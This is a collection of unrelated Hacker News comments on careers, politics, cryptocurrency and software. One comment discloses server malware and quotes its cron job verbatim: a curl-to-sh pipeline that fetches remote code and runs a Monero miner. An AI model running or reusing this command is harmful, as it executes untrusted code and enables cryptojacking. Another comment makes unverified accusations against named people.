skysight-inc/HackerNews huggingface dataset:
There's a massive brain drain to look forward to in the next couple decades, especially in the US. Pretty much none of my best peers went in to a PhD program for many of the reasons you described. One of my roommates got his PhD in optical physics and is essentially living the life of a monk. Its so much easier to cash out for a pretty basic engineering role and get a lifetime (hopefully) of easy, stable income. Many skilled jobs are leaving the US (ie CGI leaving Hollywood for Canada and elsewhere) and political instability (ie immigration) is cutting out a big chunk of the upper quartile as well.

In addition, the average individual has most of their life decisions made for them via simple, accessible tools and the lower half has a fraction of the competence of their predecessors. I'd guess maybe 5% of my friends/peers spend any time reading. Maybe 60% over my friends outside of tech are seriously struggling financially.

Almost all of my coworkers are immigrants on O-1 visas and there's really nothing here for them long term, especially if they feel unwelcome. The moment another country provides a better offer, I bet 95% of them will go there instead. Probably many that are here now will go too.
10% is a shit load.
I always love glitchart, this is pretty rad. Good job!
Low cost VoIP service powered by Bitcoin
But then again, I may be a bit warped: a while back, while stuck in bed sick for a week, I implemented chacha20 in 6502 assembler, on an Apple II emulator, on my phone.

¯\_(ツ)_/¯
Why Google transit will never be enough for small to medium-sized systems (2013)
Just one example: My PhD advisor went directly to industry after their PhD, stayed there for 10 years, and then went back to academia. Six years later they had tenure. "I got lucky" was frequently said, though.
Apple has official permit to test self-driving cars in California, DMV confirms
Like this?

$ cat << EOF > ~/.commit_reasons; strfile ~/.commit_reasons
Testing...
%
Testify...
%
Testarossa...
%
Does it work yet?
%
How bout now?
%
Oops.
%
Fixed a thing.
%
EOF

$ fortune ~/.commit_reasons | cowsay | git -F -
This is something that's actually in the process of happening at my workplace. The CEO is trying to reduce our shifts by half, because there isn't enough work for us to do. (He's a poor CEO, we have a terrible reputation throughout the city, and very few people will bother to do business with us.) The manager is fighting it, because if they cut our shifts by half we still pay the same for commuting, so he'll lose most of his staff in the first few days and be stuck with a bunch of untrained new recruits.
I too would love to read about a "hybrid" solution such as this (esp. muistakes made between iterations).
You do get to decide. You either reward them by being a consumer of their products/services or you don't.

Sorry, looks like you got outvoted.

Now you want to sit on some panel of judgement to overrule the public.

I love it when people say stuff like this. Society has spoken. You simply don't like their decision so your answer to is to create some super-powerful organization that can veto the public and instill its own version of what society should look like.
It started a few months ago, I think I saw it here and signed up out of curiosity.

There's very little available free, with (I'm led to believe) more content available at the cost of giving people your referral link.

I haven't given anyone my referral link though, since the content that is available to me seems so poor. Frequent typos, questionable advice, (most recently 'if your CV will be read digitally, it should have a dark background') and probably-paid advertisements masquerading as recommendations ('buy your boss an {obscure item link} to get noticed').
As interesting as this idea is, there isn't something under this most people would call a serious cooperative. Feel Train a 2 employee wife-husband mom and pop that does random contract work.

They moved to Portland a couple years ago. Amazingly in that short time, they already have a well established reputation of hostile and abusive behavior towards people in the Portland tech community that don't share their extremist political views. I've heard no less than 3 accounts from people documenting their generally hostile, harassing and abusive behavior. These aren't "the other side" political people telling me this, they're warm, friendly, moderate, generally apolitical people. I'm hearing this in passing, so I wouldn't be surprised if there were even more incidents I havent heard about.

Portland tech used to be a uniquely wonderful, well knit community, but it's gotten a lot more toxic over the last few years. The result has been a lot of people leaving out of both disgust of the politics and genuine fear that they will be singled out for a political witch hunt. These two exemplify the absolute worst of it.
Glandium is a trusted source of Mozilla command line information. https://glandium.org/about/
Uhh, so why not link to the legitimate site for "The New Hackers Dictionary", a.k.a., "The Jargon File", at http://www.catb.org/esr/jargon/ ?
I support this very much. WP is quick to setup but becomes a huge pain in the a* very quickly. Everything needs a plugin. Caching, backups, multilanguage support - these were the big ones for us. It becomes very fragile and hard to update, at some point you start spending a lot of time maintaining everything.

At the end I just sat down for an afternoon and wrote 500 lines of reusable python/flask that did exactly what we needed [1]. Even though it's my code this is actually much less work to maintain compared to some MySQL-PHP-WP-10Plugins-JS-Nginx-Kraken monster.

[1] https://github.com/muellermichel/guetzli
What a coincidence!

Just today at work we've found malware on some of our servers.
That malware added this cron job:

/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh

If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333

See:
https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...
Having fewer children is throwing the baby out with the bathwater. The only reason we care about the environment is because it serves people. It's like trying to prevent cancer by having fewer children - fewer people will suffer from it!

Children are also important to us adults. We need them to indirectly take care of us when we're old by keeping the economy around us functioning and providing services and for us. Some western countries are facing potential problems with aging populations and not enough young people to support them. That's big and important. Possibly more important than global warming. There's no point having a stable environment if you die from a treatable disease because there are no doctors available.

Whenever there's a problem or a risk, and you're deciding what to do about it, one option is always "do nothing". We don't _have_ to stop climate change. If stopping it causes more harm that letting it continue, then we would be wrong to stop it.

So what's the expected cost of climate change?
All of your post hinges on the premise that you feel responsibility for individual problems should be collectivised, by force presumably, and that I am required to morally feel obliged to help any and all strangers by virtue of being born or living in roughly the same area. I find that world view monstrous and can't really debate it objectively. We're on different planets here.

I'm an individual and I'm free to help or not help strangers as I see fit. Neither you nor anyone else has the right to tell me what problems of which people I'm responsible for.
Could be considered a "break down this wall" moment for great former President Jimmy Carter.
There's a major difference between "getting in shape" and "being a top-performing athlete". There's no silver bullet, no, but some forms of exercise are better than others.
The Copenhagen Wheel is now a real thing
Since today Embedly shutdown their free plan I have built an alternative
For people who wants a good affordable alternative to Embedly Since today they shutdown their free plan and you don't want to change any code, you can get the same service at low price $99 per year instead of paying $99 per month on our platform: EmbedAPI.com

Enjoy!
If you’re using Google Cloud, you can already use Google Cloud Source Repositories. https://cloud.google.com/source-repositories/ It supports git and the Beta release of Cloud Source Repositories provides free hosting of up to 1GB of storage.
Back in 19th century USA, during industrialization, the idea of working for someone came across to many as a form of wage-slavery. Going from farming or trade-skills to factories working, one gave up any control in their own worker rights and planning of their business.

It seems fundamentally unfair that in most industries you don't have any real share of the company, or any say in the direction of it. People who control those companies are solely executives or wall street share holders, not the people who spend countless hours making the company run and function, thinking about it for even a moment reveals how messed up our system is. Things have only gotten worse recently too with the decline of unions, workers rarely even get a say in their own rights, wages, or working conditions!

In short, sharing information like this is great, I'm all for more co-ops!
Thanks, better tools are a godsend. Back in school I spent too much time using PrimerX (http://www.bioinformatics.org/primerx/).
thanks, its a nice quick ref. bought.
Yes. Ugh. You are right.

I treat P(evidence | null hypothesis) equivalent to P(null hypothesis | data). When it should be

P(evidence | null hypothesis) = P(null hypothesis | evidence) * P (evidence) / P (null hypothesis)

As we don't know either of those extra terms we can't determine P(null hypothesis | evidence).

Thanks.

Interestingly wikipedia notes that P(Reject H | H) = pre-defined threshold for rejecting H [1]

[1] - https://en.wikipedia.org/wiki/P-value
m@mpc:~/Desktop/hax/codebreaker$ python nh.py
Max key number: 11
Max key length: 12
Possible keys to try: 3452271214392

(Press Ctrl-C or Ctrl-D to quit at any time.)
Hacking...

10yearslater
The foregoing interaction with lacampbell might be an analogy of how society fails creative types. They are often awkward, abrasive people who insist on doing things their own way. As a result they are denied jobs, ostracised socially (in the name of friendliness) and generally swept under the rug.

I'd like to think I'm not particularly awkward or abrasive. I'm not some cold hearted monster that has no empathy, or never helps or shows kindness to strangers. But you rightly point out that I reject being compelled to help all and sundry. A charitable act should be mine to perform freely.
Modi launches 75 cashless townships across 12 states
Someone caught one of the puns.
Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin.

That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper.

Lengthy discussion on reddit here: https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...
Rohan and Lenny #3: Recurrent Neural Networks and LSTMs
Where is canny's feedback website?
> Nonetheless, your paper alone should provide a good enough description of the conditions and methods you used for the paper to be reproducible.

Too bad there's an 8-page limit, then.
Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse).

No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
My healthy skepticism of viewpoints echoing 20th century authoritarianism is more than justified, considering that in many countries that authoritarianism has continued into the 21st century.

In 2017 there are still military threats from socialist dictatorships directed towards capitalist democracies.
If you somehow automated organization and payment through blockchain contracts and had a way to describe requirements by code, I think it would be killer.
Rubigo: Golang dependency tool and package manager
Homepage: https://github.com/yaa110/rubigo

Rubigo is a dependency tool and package manager for Golang, written in Rust. Rubigo uses vendor directory (starting from Go 1.5) to install packages, however it is possible to add packages globally (in GOPATH/src directory) or make a local package in vendor directory.

Why?

I started a project with Glide, then created some local packages inside vendor folder (which makes it possible to change the path of project without worrying about GOPATH), I wrote some codes, before staging them, I ran glide install ... oops! ... my code has gone. I marked those local packages as ignore in the manifest file, but it seems glide does not respect to its features. So, I decided to write my own package manager which respects to my manual changes.
The brain has a mechanical pumping system, check it out https://en.wikipedia.org/wiki/Cerebrospinal_fluid#Clinical_s...
This is what worries me. And I do hope app stores start protecting apps against these organised campaigns. In this case, even a simple CAPTCHA would've worked since people who aren't tech savvy were following step-by-step instructions on how to rate apps. An additional step would've easily thrown people off.

It wouldn't surprise me if companies began leaking news stories that would trigger fiery reactions against competitors. For e.g. Facebook could keep Snapchat from ever expanding in India if it were to covertly portray Snap/Evan as disrespectful towards Indians. Social media influencers could profit from providing back-channel services to corporates.
For anyone thinking it's a tough sell who is curerntly doing regular cardio; try it, it's tougher for sure but then it's over before you know it. I honestly can't go back to regular cardio now that I've tried Tabata/HIIT.
"Updated 8/19/2009" a bit old eh?
Thanks, but why?
Netflix Prize Dataset
Hmm, I think I can see where we're failing to connect here. I'll reply to you by replying to lacampbell.

> All of your post hinges on the premise that you feel responsibility for individual problems should be collectivised, by force presumably, and that I am required to morally feel obliged to help any and all strangers by virtue of being born or living in roughly the same area.

I categorically reject that this is my position and am sorry I wasn't able to explain it better. Let me try further:

I'm not suggesting that you be required to do anything. At all. It is your choice to choose to do nothing.

However as a member of society, of which the only way of really escaping is to escape the proximity and influence of those who comprise 'society' you do have a collectivized stake in the outcome of society. If you for example choose to do nothing about drug addicts, and the rest of society does the same... society is then responsible for what happens as a result of untreated drug addiction. You, as a member of society, have some small part ownership over what happens.

Does that make sense? I'm talking in a very abstract sense, not a direct "here is a kid -> take care of it" sense.
It might be a fun way to share live coding snippets.
> Do you seriously think that anyone on this website doesn't know the term PIGS? Do you think that I wasn't alive four years ago?

If you'd like to explain why you took offense to my comment, please do. I'd like to foster discussion where people do not take personal offense to my words on a message board when I didn't mean to offend anyone. I'd legitimately appreciate any feedback you have.

> And the PIGS weren't the poorest countries in Europe;

I'm not talking about objective reality, but about popular public perception.
Web Components Have Failed Us So Far [video]
> The nicest Desktop software I know of is SnapGene: http://www.snapgene.com/

Have to agree with that, though it's a bit expensive.
Has any album art been done with this?
Yeah, I don't get it either. Thanks for asking.
I'm really confused. Am I seeing the same page everyone else is seeing? What are you referring to by name-dropping? Where are the "obvious grammatical errors"?

Can you maybe post a screenshot of what you're seeing, maybe this is some A/B test?
Nope. I'm totally wrong.
> advertisements masquerading as recommendations

You're not wrong. He mentions two products in the article: f.lux and the Sleep Smarter book.

The rest is in the disclaimer:

> You Exec has no affiliation with f.lux. We have not been paid to promote the software, neither do we gain any financial value if you use their software. We have tested their software to the best of our abilities and we did not find any spyware, viruses, pop-up ads, etc. Legal notes: follow the suggestions of this article at your own risk.

The book itself also has some alarming ratings.
Agreed, though I draw the parallel elsewhere. The industrial revolution was about automating labor, though really it just scaled up repeatable processes. Likewise, computer programs don't really automate mental labor, they just scale up repeatable processes once the mental labor of figuring out the specification is done. Deep learning, on the other hand, promises the automation of actual mental labor--creating new information from other, unrelated information. If you look at it that way, its role and future seems pretty obvious.
Discussion from earlier today: https://news.ycombinator.com/item?id=14133780
It's a good idea to use desktop technologies if the app is complex, for most corporate intranets a few web pages is probably good enough.

As for the stack, c# and winforms is a good bet, particularly if you need to target older versions of windows. If you need a bit more performance or cross platform support then c++ and qt would be better. You could go c++ and win32, but MS dropped the ball on creating a nice api.

Deployments are another area MS dropped the ball, click once is sort of ok if you are using visual studio, but either way chocolatey is better. You may want something better for release management, in which case look into octopus deploy. These suggestions apply to electron apps as well.

Basically, had windows XP come with a better programming APIs (more like qt/gtk) and a better deployment model then web apps would have never been a thing. OSS has made windows a viable desktop.
Why is this called zuck?
See the 3x3 layout of "We've helped members from these firms" for the name-dropping.

ETA: Check under "How We Do It" for the grammatical errors.
While I agree with the substance of your comment, let us be clear about the difference between deployment and usage.

Entities investing in roadway leases and toll roads align closer to wireless deployments, IMHO.

http://usatoday30.usatoday.com/news/nation/2006-07-15-u.s.-h...

Wouldn't driving on a road for a few minutes correlate closer to making a phone call or sending a text?

(I can't believe I am perpetuating this analogy :P)
Wow, didn't know that--pretty amazing!
Couldn't agree more.

On the other hand, the research salaries some of my friends are pulling in at the big companies are substantial. And everyone on this site knows what some of the premier software devs are pulling in. Similar dictomy in law, and I suspect many other fields.

This is why I'm currently obsessed with cyberpunk. There is a massive bifurcation happening in society right now. Haves and have-nots. Some who are reaping massive gains, and many who are barely getting by.
Patrick Winston is a great lecturer -- and it's worth it to do the whole 6.034 course if you have the time. A lot of the topics he goes over are considered "out of style" now, but sometimes old-school AI algorithms find their use in new places [0]…

[0] https://blog.openai.com/evolution-strategies/
I like the paper's emphasis on pre-processing the data. Once the data is properly organized, I have no doubt that a variety of ML algorithms can be applied to reveal different insights.
Oh dear....
Super cool. Is there a gender button somewhere? sounds very male to me but there's no difference in voice/sound production between genders other than just the exact pitch, right? Can you get it to make sounds like a woman or only a man?
Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?
My rule nowadays is to go with a web application unless you have a good reason not to. The difference between the work done for deployment is enormous, and it's enough to justify avoiding desktop applications 90% of the time.
That's the fun I now have to explain it on my resume and in interviews.

I received severance so I was not fired otherwise no severance. I asked HR "So then I'm laid off?" but was told no it's because I was not the right fit. My job is or was very specific and I live in a small town with elderly sick parents so moving is not an option for me.

All my performance reviews were perfect great comments from my manager and I got along with all the staff. I was struggling to fit my tasks into a workday cut in half to four hours but I had the same duties as I did in an eight hour day. Which used to be done by three people!

Backstory I was officially an employee of the head office but worked in a satellite office but I wasn't an employee of the satellite office. The satellite office said they wanted to hire their own for the job I was doing and the head office said they had no job for me. Poof! Job gone. But the weird part is I was an employee of the satellite office for six years then "moved" to become a head office employee but my desk never moved I was always in the same place, same office, same building.

Then I see my job advertised one week later, I was barred from setting foot on the premises and was also told not to apply since I was "not the right fit", a direct quote from HR.

Sorry for the rant it just spilled out. I'm getting better no more panic attacks and I can breathe better. Onward and upward.
Bit of a gloomy chap, isn't he?
I don't think so anymore, though I would have said yes even a few years ago.

I see most of the companies I work with moving towards AWS or Azure with all the scaling support and APIs that really make web apps easier to work with.

Instead of dealing with dozens of IT rules as to what can be installed on the various corporate images (which now include Macs), it's easier to just point users at a URL and make sure whatever single sign on they've got is integrated.

Another point: desktop apps are just as complicated as web apps these days, especially when dealing with Mac, Unix, Windows compatibility along with mobile. It seems like nobody has really done a good job of replacing VB6, Delphi, etc, and I haven't touched (as a Java developer) Swing or JavaFX in years.
Among others, I'd love to read this as well. If you're taking emails - matt at engn.com please or sign me up for a newsletter if you have one? Also, http://mattheij.com/ triggers a dangerous malware warning from Google Safe Browsing.
cbmc doesn't execute C(++) programs, but rather it turns them into instances of the SAT problem, which it then passes off to a SAT prover to (hopefully) prove it. It's assert() (and assume() and nondet_xxx() which are not mentioned in the article) that have special powers in cbmc, but functions name prove_xxx() aren't special as far as I'm aware.